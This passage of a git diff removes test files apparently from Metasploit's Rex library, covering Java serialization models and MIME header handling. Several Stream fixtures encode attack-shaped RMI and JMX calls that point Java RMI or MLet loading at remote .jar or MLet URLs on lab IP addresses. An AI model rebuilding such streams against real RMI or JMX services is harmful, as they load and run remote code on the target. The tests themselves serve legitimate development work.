"\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e" + - "\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61" + - "\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x70\x78\x70" - end - - let(:sample_io) { StringIO.new(sample) } - - describe ".new" do - it "Rex::Java::Serialization::Model::ProxyClassDesc" do - expect(proxy_class_desc).to be_a(Rex::Java::Serialization::Model::ProxyClassDesc) - end - - it "initializes interfaces with empty Array" do - expect(proxy_class_desc.interfaces).to be_empty - end - - it "initializes class_annotation with nil" do - expect(proxy_class_desc.class_annotation).to be_nil - end - - it "initializes super_class with nil" do - expect(proxy_class_desc.super_class).to be_nil - end - end - - describe "#decode" do - it "returns a Rex::Java::Serialization::Model::ProxyClassDesc" do - expect(proxy_class_desc.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::ProxyClassDesc) - end - - it "deserializes interfaces" do - proxy_class_desc.decode(sample_io) - expect(proxy_class_desc.interfaces.length).to eq(1) - end - - it "deserializes interfaces contents correctly" do - proxy_class_desc.decode(sample_io) - expect(proxy_class_desc.interfaces[0].contents).to eq('example.hello.Hello') - end - - it "deserializes class annotation correctly" do - proxy_class_desc.decode(sample_io) - expect(proxy_class_desc.class_annotation).to be_a(Rex::Java::Serialization::Model::Annotation) - end - - it "deserializes class annotation contents" do - proxy_class_desc.decode(sample_io) - expect(proxy_class_desc.class_annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::NullReference) - end - - it "deserializes super_class" do - proxy_class_desc.decode(sample_io) - expect(proxy_class_desc.super_class).to be_a(Rex::Java::Serialization::Model::ClassDesc) - end - - it "deserializes super class description" do - proxy_class_desc.decode(sample_io) - expect(proxy_class_desc.super_class.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc) - end - end - - describe "#encode" do - it "serializes a ProxyClassDesc" do - field = Rex::Java::Serialization::Model::Field.new - field.type = 'object' - field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'h') - field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/lang/reflect/InvocationHandler;') - super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new - super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.reflect.Proxy') - super_class_desc_new.serial_version = 0xe127da20cc1043cb - super_class_desc_new.flags = 2 - super_class_desc_new.fields << field - super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new - super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::NullReference.new - super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new - super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new - super_class_desc.description = super_class_desc_new - - interface = Rex::Java::Serialization::Model::Utf.new(nil, 'example.hello.Hello') - proxy_class_desc.interfaces << interface - proxy_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - proxy_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::NullReference.new - proxy_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - proxy_class_desc.super_class = super_class_desc - - expect(proxy_class_desc.encode).to eq(sample) - end - end - - describe "#to_s" do - it "prints a sample NewClassDesc stream" do - proxy_class_desc.decode(sample_io) - expect(proxy_class_desc.to_s).to eq('[ example.hello.Hello ], @super_class: java.lang.reflect.Proxy') - end - end -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/stream_spec.rb b/spec/lib/rex/java/serialization/model/stream_spec.rb deleted file mode 100644 index a8b1e11d51..0000000000 --- a/spec/lib/rex/java/serialization/model/stream_spec.rb +++ /dev/null @@ -1,428 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::Stream do - - subject(:stream) do - described_class.new - end - - let(:easy_object_stream) do - "\xac\xed\x00\x05\x73\x72\x00\x04" + - "\x45\x61\x73\x79\x74\x1d\xe1\xbc" + - "\xbb\x2f\xcb\xaa\x02\x00\x01\x49" + - "\x00\x03\x53\x53\x4e\x78\x70\x41" + - "\x42\x43\x44" - end - let(:easy_object_stream_io) { StringIO.new(easy_object_stream) } - let(:easy_object_stream_to_s) { - <<-EOS -@magic: 0xaced -@version: 5 -@contents: [ - NewObject { Easy => { ["int", 1094861636] } } -] -@references: [ - [7e0000] NewClassDesc { Easy, [ SSN (int) ] } - [7e0001] NewObject { Easy => { ["int", 1094861636] } } -] - EOS - } - - let(:char_array_stream) do - "\xac\xed\x00\x05\x75\x72\x00\x02" + - "\x5b\x43\xb0\x26\x66\xb0\xe2\x5d" + - "\x84\xac\x02\x00\x00\x78\x70\x00" + - "\x00\x00\x02\x00\x61\x00\x62" - end - let(:char_array_stream_io) { StringIO.new(char_array_stream) } - let(:char_array_stream_to_s) { - <<-EOS -@magic: 0xaced -@version: 5 -@contents: [ - NewArray { char, ["97", "98"] } -] -@references: [ - [7e0000] NewClassDesc { [C, [ ] } - [7e0001] NewArray { char, ["97", "98"] } -] - EOS - } - - let(:complex_stream) do - "\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" + - "\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a\x61" + - "\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62" + - "\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00\x70" + - "\x78\x70\x00\x00\x00\x01\x73\x72\x00\x15\x6a\x61\x76\x61\x2e\x72" + - "\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62\x6a\x49\x44\xa7" + - "\x5e\xfa\x12\x8d\xdc\xe5\x5c\x02\x00\x02\x4a\x00\x06\x6f\x62\x6a" + - "\x4e\x75\x6d\x4c\x00\x05\x73\x70\x61\x63\x65\x74\x00\x15\x4c\x6a" + - "\x61\x76\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55" + - "\x49\x44\x3b\x70\x78\x70\x0d\xc1\x1e\x2a\x94\x5e\x2f\xb2\x73\x72" + - "\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" + - "\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf\x36\x4f\x12\x02\x00\x03" + - "\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00\x04\x74\x69\x6d\x65\x49" + - "\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78\x70\x80\x16\x00\x00\x01" + - "\x49\xb5\xe4\x92\x78\xd2\x4f\xdf\x47\x77\x08\x80\x00\x00\x00\x00" + - "\x00\x00\x01\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e" + - "\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66\x0c\x4a\xdc" + - "\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c\x00\x04\x76" + - "\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72\x6d\x69\x2f" + - "\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00\x00\x00\x00" + - "\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x72\x6d\x69" + - "\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf\xa4\xa5\x6d" + - "\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00\x02\x5b\x42" + - "\x4c\x00\x03\x75\x69\x64\x71\x00\x7e\x00\x03\x70\x78\x70\x75\x72" + - "\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x70" + - "\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72\x60\x1c\xc7\x95\x73\x71" + - "\x00\x7e\x00\x05\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62" + - "\xc1\xc0" - end - let(:complex_stream_io) { StringIO.new(complex_stream) } - let(:complex_stream_to_s) { - <<-EOS -@magic: 0xaced -@version: 5 -@contents: [ - BlockData { [ 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0xf6, 0xb6, 0x89, 0x8d, 0x8b, 0xf2, 0x86, 0x43 ] } - NewArray { java.rmi.server.ObjID;, ["java.rmi.server.ObjID => { [\\"long\\", 991106561224880050], java.rmi.server.UID => { [\\"short\\", -32746], [\\"long\\", 1416095896184], [\\"int\\", -766517433] } }"] } - BlockData { [ 0x80, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1 ] } - NewObject { java.rmi.dgc.Lease => { ["long", 600000], java.rmi.dgc.VMID => { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"], 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } } } -] -@references: [ - [7e0000] NewClassDesc { [Ljava.rmi.server.ObjID;, [ ] } - [7e0001] NewArray { java.rmi.server.ObjID;, ["java.rmi.server.ObjID => { [\\"long\\", 991106561224880050], java.rmi.server.UID => { [\\"short\\", -32746], [\\"long\\", 1416095896184], [\\"int\\", -766517433] } }"] } - [7e0002] NewClassDesc { java.rmi.server.ObjID, [ objNum (long), space (Ljava/rmi/server/UID;) ] } - [7e0003] Utf { Ljava/rmi/server/UID; } - [7e0004] NewObject { java.rmi.server.ObjID => { ["long", 991106561224880050], java.rmi.server.UID => { ["short", -32746], ["long", 1416095896184], ["int", -766517433] } } } - [7e0005] NewClassDesc { java.rmi.server.UID, [ count (short), time (long), unique (int) ] } - [7e0006] NewObject { java.rmi.server.UID => { ["short", -32746], ["long", 1416095896184], ["int", -766517433] } } - [7e0007] NewClassDesc { java.rmi.dgc.Lease, [ value (long), vmid (Ljava/rmi/dgc/VMID;) ] } - [7e0008] Utf { Ljava/rmi/dgc/VMID; } - [7e0009] NewObject { java.rmi.dgc.Lease => { ["long", 600000], java.rmi.dgc.VMID => { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"], 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } } } - [7e000a] NewClassDesc { java.rmi.dgc.VMID, [ addr ([B), uid (0x7e0003) ] } - [7e000b] Utf { [B } - [7e000c] NewObject { java.rmi.dgc.VMID => { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"], 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } } - [7e000d] NewClassDesc { [B, [ ] } - [7e000e] NewArray { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"] } - [7e000f] NewObject { 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } -] - EOS - } - - let(:rmi_call) do - "\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a\x61" + - "\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62" + - "\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00\x70" + - "\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x52" + - "\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2\xf4" + - "\x02\x00\x00\x74\x00\x30\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32" + - "\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x3a\x38\x30\x38\x30\x2f\x35" + - "\x71\x4f\x45\x37\x59\x52\x76\x43\x32\x53\x62\x2f\x65\x49\x64\x45" + - "\x44\x70\x2e\x6a\x61\x72\x78\x70\x77\x01\x00" - end - - let(:mbean_call) do - "\xac\xed\x00\x05\x77\x22\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d" + - "\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03\xff\xff\xff\xff" + - "\x60\x73\xb3\x36\x1f\x37\xbd\xc2\x73\x72\x00\x1b\x6a\x61\x76\x61" + - "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + - "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + - "\x00\x00\x70\x78\x70\x74\x00\x1d\x4d\x4c\x65\x74\x43\x6f\x6d\x70" + - "\x72\x6f\x6d\x69\x73\x65\x3a\x6e\x61\x6d\x65\x3d\x65\x76\x69\x6c" + - "\x2c\x69\x64\x3d\x31\x78\x70" - end - - let(:marshalled_argument) do - "\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c" + - "\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10" + - "\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x1f\x68" + - "\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38" + - "\x2e\x31\x33\x32\x3a\x34\x31\x34\x31\x2f\x6d\x6c\x65\x74" - end - - describe ".new" do - it "Rex::Java::Serialization::Model::Stream" do - expect(stream).to be_a(Rex::Java::Serialization::Model::Stream) - end - - it "initializes magic with java serialized stream signature" do - expect(stream.magic).to eq(Rex::Java::Serialization::STREAM_MAGIC) - end - - it "initializes version with java serialized stream default version " do - expect(stream.version).to eq(Rex::Java::Serialization::STREAM_VERSION) - end - - it "initializes references as empty array " do - expect(stream.references).to be_empty - end - - it "initializes stream to nil by default" do - expect(stream.stream).to be_nil - end - end - - describe "#decode" do - context "when deserializing a simple Object stream" do - it "deserializes an Stream" do - expect(stream.decode(easy_object_stream_io)).to be_a(Rex::Java::Serialization::Model::Stream) - end - - it "deserializes the signature correctly" do - stream.decode(easy_object_stream_io) - expect(stream.magic).to eq(Rex::Java::Serialization::STREAM_MAGIC) - end - - it "deserializes all the contents" do - stream.decode(easy_object_stream_io) - expect(stream.contents.length).to eq(1) - end - - it "deserializes a simple object correctly" do - stream.decode(easy_object_stream_io) - expect(stream.contents[0]).to be_an(Rex::Java::Serialization::Model::NewObject) - end - end - - context "when deserializing a char array" do - it "deserializes an Stream" do - expect(stream.decode(char_array_stream_io)).to be_a(Rex::Java::Serialization::Model::Stream) - end - - it "deserializes the char array correctly" do - stream.decode(char_array_stream_io) - expect(stream.contents[0]).to be_an(Rex::Java::Serialization::Model::NewArray) - end - end - - context "when deserializing a complex stream with references" do - it "deserializes an Stream" do - expect(stream.decode(complex_stream_io)).to be_a(Rex::Java::Serialization::Model::Stream) - end - - it "deserializes all the contents in the Stream" do - stream.decode(complex_stream_io) - expect(stream.contents.length).to eq(4) - end - - it "deserializes object contents" do - stream.decode(complex_stream_io) - expect(stream.contents[3]).to be_a(Rex::Java::Serialization::Model::NewObject) - end - end - end - - describe "#to_s" do - it "prints a simple Object stream" do - stream.decode(easy_object_stream_io) - expect(stream.to_s).to eq(easy_object_stream_to_s) - end - - it "prints a char array stream" do - stream.decode(char_array_stream_io) - expect(stream.to_s).to eq(char_array_stream_to_s) - end - - it "prints a complex stream with references" do - stream.decode(complex_stream_io) - expect(stream.to_s).to eq(complex_stream_to_s) - end - end - - describe "#encode" do - context "when serializing a simple Object stream" do - it "serializes the Stream" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'Easy') - new_class_desc.serial_version = 0x741de1bcbb2fcbaa - new_class_desc.flags = 2 - field = Rex::Java::Serialization::Model::Field.new - field.type = 'int' - field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'SSN') - new_class_desc.fields << field - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_object = Rex::Java::Serialization::Model::NewObject.new - new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new - new_object.class_desc.description = new_class_desc - new_object.class_data = [['int', 0x41424344]] - - stream.contents << new_object - expect(stream.encode.unpack("C*")).to eq(easy_object_stream.unpack("C*")) - end - end - - context "when serializing a char array" do - it "serializes the Stream" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[C') - new_class_desc.serial_version = 0xb02666b0e25d84ac - new_class_desc.flags = 2 - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array = Rex::Java::Serialization::Model::NewArray.new - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_class_desc - new_array.type = 'char' - new_array.values = [97, 98] - - stream.contents << new_array - expect(stream.encode.unpack("C*")).to eq(char_array_stream.unpack("C*")) - end - end - - context "when reserializing a complex stream" do - it "reserializes the original stream" do - stream.decode(complex_stream_io) - expect(stream.encode.unpack("C*")).to eq(complex_stream.unpack("C*")) - end - end - - context "when serializing a Java RMI call" do - it "serializes the stream correctly" do - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" - block_data.length = block_data.contents.length - - stream.contents << block_data - - new_array_annotation = Rex::Java::Serialization::Model::Annotation.new - new_array_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new - ] - - new_array_super = Rex::Java::Serialization::Model::ClassDesc.new - new_array_super.description = Rex::Java::Serialization::Model::NullReference.new - - new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') - new_array_desc.serial_version = 0x871300b8d02c647e - new_array_desc.flags = 2 - new_array_desc.fields = [] - new_array_desc.class_annotation = new_array_annotation - new_array_desc.super_class = new_array_super - - array_desc = Rex::Java::Serialization::Model::ClassDesc.new - array_desc.description = new_array_desc - - new_array = Rex::Java::Serialization::Model::NewArray.new - new_array.type = 'java.rmi.server.ObjID;' - new_array.values = [] - new_array.array_description = array_desc - - stream.contents << new_array - stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") - - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') - new_class_desc.serial_version = 0xa16544ba26f9c2f4 - new_class_desc.flags = 2 - new_class_desc.fields = [] - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.1:8080/5qOE7YRvC2Sb/eIdEDp.jar'), - Rex::Java::Serialization::Model::EndBlockData.new - ] - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_object = Rex::Java::Serialization::Model::NewObject.new - new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new - new_object.class_desc.description = new_class_desc - new_object.class_data = [] - - stream.contents << new_object - - stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") - - expect(stream.encode).to eq(rmi_call) - end - end - - context "when serializing a MBeanServerConnection.getObjectInstance call data" do - it "serializes the stream correctly" do - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents = "\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03" - block_data.contents << "\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2" - block_data.length = block_data.contents.length - - stream.contents << block_data - - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName') - new_class_desc.serial_version = 0xf03a71beb6d15cf - new_class_desc.flags = 3 - new_class_desc.fields = [] - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new - ] - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_object = Rex::Java::Serialization::Model::NewObject.new - new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new - new_object.class_desc.description = new_class_desc - new_object.class_data = [] - - stream.contents << new_object - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'MLetCompromise:name=evil,id=1') - stream.contents << Rex::Java::Serialization::Model::EndBlockData.new - stream.contents << Rex::Java::Serialization::Model::NullReference.new - - expect(stream.encode).to eq(mbean_call) - - end - end - - context "when serializing a marshalled argument" do - it "serializes the stream correctly" do - stream = Rex::Java::Serialization::Model::Stream.new - - new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.Object;') - new_array_class_desc.serial_version = 0x90ce589f1073296c - new_array_class_desc.flags = 2 - new_array_class_desc.fields = [] - new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_array_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::EndBlockData.new - ] - new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array = Rex::Java::Serialization::Model::NewArray.new - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_array_class_desc - new_array.type = 'java.lang.Object;' - new_array.values = [ - Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.132:4141/mlet') - ] - - stream.contents << new_array - - expect(stream.encode).to eq(marshalled_argument) - end - end - - end - -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/utf_spec.rb b/spec/lib/rex/java/serialization/model/utf_spec.rb deleted file mode 100644 index be54618d83..0000000000 --- a/spec/lib/rex/java/serialization/model/utf_spec.rb +++ /dev/null @@ -1,107 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::Utf do - subject(:utf) do - described_class.new - end - - let(:sample_utf) { "\x00\x10java.lang.Number" } - let(:sample_utf_io) { StringIO.new(sample_utf) } - let(:empty_utf) { "\x00\x00" } - let(:empty_utf_io) { StringIO.new(empty_utf) } - let(:incomplete_utf) { "\x00\x10java.lang.Numb" } - let(:incomplete_utf_io) { StringIO.new(incomplete_utf) } - let(:empty_io) { StringIO.new('') } - - describe ".new" do - it "Rex::Java::Serialization::Model::Utf" do - expect(utf).to be_a(Rex::Java::Serialization::Model::Utf) - end - - it "initializes length to 0" do - expect(utf.length).to eq(0) - end - - it "initializes contents with empty string" do - expect(utf.contents).to be_empty - end - end - - describe "#encode" do - context "when empty utf" do - it { expect(utf.encode).to eq(empty_utf) } - end - - context "when filled utf" do - it do - utf.length = 16 - utf.contents = 'java.lang.Number' - expect(utf.encode).to eq(sample_utf) - end - end - end - - describe "#decode" do - context "when stream contains empty string" do - it "raises Rex::Java::Serialization::DecodeError" do - expect { utf.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError) - end - end - - context "when stream contains empty utf" do - it "returns a Rex::Java::Serialization::Model::Utf" do - expect(utf.decode(empty_utf_io)).to be_a(Rex::Java::Serialization::Model::Utf) - end - - it "sets length to 0" do - utf.decode(empty_utf_io) - expect(utf.length).to eq(0) - end - - it "sets contents to empty string" do - utf.decode(empty_utf_io) - expect(utf.contents).to be_empty - end - end - - context "when stream contains incomplete utf" do - it "raises Rex::Java::Serialization::DecodeError" do - expect { utf.decode(incomplete_utf_io) }.to raise_error(Rex::Java::Serialization::DecodeError) - end - end - - context "when stream contains correct utf" do - - it "returns a Rex::Java::Serialization::Model::Utf" do - expect(utf.decode(sample_utf_io)).to be_a(Rex::Java::Serialization::Model::Utf) - end - - it "sets length to 0" do - utf.decode(sample_utf_io) - expect(utf.length).to eq(16) - end - - it "sets contents to sample string" do - utf.decode(sample_utf_io) - expect(utf.contents).to eq('java.lang.Number') - end - end - end - - describe "#to_s" do - it "prints an stream containing a sample utf" do - utf.decode(sample_utf_io) - expect(utf.to_s).to eq('java.lang.Number') - end - - it "prints an stream containing an empty utf" do - utf.decode(empty_utf_io) - expect(utf.to_s).to eq('') - end - end - -end \ No newline at end of file diff --git a/spec/lib/rex/mime/encoding_spec.rb b/spec/lib/rex/mime/encoding_spec.rb deleted file mode 100644 index 2f45d9179d..0000000000 --- a/spec/lib/rex/mime/encoding_spec.rb +++ /dev/null @@ -1,32 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/mime' - -RSpec.describe Rex::MIME::Encoding do - - subject do - mod = Class.new - mod.extend described_class - mod - end - - describe "#force_crlf" do - it "deletes \\r characters" do - expect(subject.force_crlf("Test\r1\r")).to_not include("\\r") - end - - it "substitutes \\n characters by \\r\\n sequences" do - expect(subject.force_crlf("Test 2\n")).to end_with("\r\n") - end - - it "preserves \r\n sequences" do - expect(subject.force_crlf("\r\nTest 3\r\n")).to eq("\r\nTest 3\r\n") - end - - it "first deletes \\r characters, then substitutes \\n characters" do - expect(subject.force_crlf("\rTest 4\r\n\r\r\n")).to eq("Test 4\r\n\r\n") - end - end - -end diff --git a/spec/lib/rex/mime/header_spec.rb b/spec/lib/rex/mime/header_spec.rb deleted file mode 100644 index 38fa11218d..0000000000 --- a/spec/lib/rex/mime/header_spec.rb +++ /dev/null @@ -1,151 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/mime' - -RSpec.describe Rex::MIME::Header do - - let(:mime_headers_test) do - <<-EOS -Content-Type: text/plain; -Content-Disposition: attachment; filename="test.txt" - EOS - end - - subject do - described_class.new - end - - describe "#initialize" do - subject(:header_class) do - described_class.allocate - end - - it "returns an Array" do - expect(header_class.send(:initialize)).to be_a(Array) - end - - it "creates an empty headers array by default" do - expect(header_class.send(:initialize)).to be_empty - end - - it "populates headers array with data from argument" do - header_class.send(:initialize, mime_headers_test) - expect(header_class.headers.length).to be(2) - end - end - - describe "#add" do - it "returns the added entry" do - expect(subject.add('var', 'val')).to eq(['var', 'val']) - end - - it "adds a new entry into the headers array" do - subject.add('var', 'val') - expect(subject.headers.length).to eq(1) - end - end - - describe "#set" do - it "returns the set value" do - expect(subject.set('var', 'val')).to eq('val') - end - - it "modifies the header entry if it exists" do - subject.add('var', 'val') - subject.set('var', 'val2') - expect(subject.headers.length).to eq(1) - expect(subject.headers[0]).to eq(['var', 'val2']) - end - - it "creates the header entry if doesn't exist" do - subject.set('var2', 'val2') - expect(subject.headers.length).to eq(1) - expect(subject.headers[0]).to eq(['var2', 'val2']) - end - end - - describe "#remove" do - it "doesn't remove any header if index doesn't exist" do - subject.add('var', 'val') - subject.remove(10000) - expect(subject.headers.length).to eq(1) - end - - it "doesn't remove any header if var name doesn't exist" do - subject.add('var', 'val') - subject.remove('var2') - expect(subject.headers.length).to eq(1) - end - - it "removes header entry if index exists" do - subject.add('var', 'val') - subject.remove(0) - expect(subject.headers.length).to eq(0) - end - - it "removes any header entry with var name" do - subject.add('var', 'val') - subject.add('var2', 'val2') - subject.add('var', 'val3') - subject.remove('var') - expect(subject.headers.length).to eq(1) - end - end - - describe "#find" do - it "returns nil if header index doesn't exist" do - expect(subject.find(1)).to be_nil - end - - it "returns nil if header var name doesn't exist" do - expect(subject.find('var')).to be_nil - end - - it "returns the header at index if exists" do - subject.add('var', 'val') - expect(subject.find(0)).to eq(['var', 'val']) - end - - it "returns the first header with var name if exists" do - subject.add('var', 'val') - subject.add('var', 'val2') - subject.add('var', 'val3') - expect(subject.find('var')).to eq(['var', 'val']) - end - end - - describe "#to_s" do - it "returns empty String if there aren't headers" do - expect(subject.to_s).to be_empty - end - - it "returns string with headers separated by \\r\\n sequences" do - subject.add('var', 'val') - subject.add('var', 'val2') - subject.add('var3', 'val3') - expect(subject.to_s).to eq("var: val\r\nvar: val2\r\nvar3: val3\r\n") - end - end - - describe "#parse" do - let(:complex_header) do - 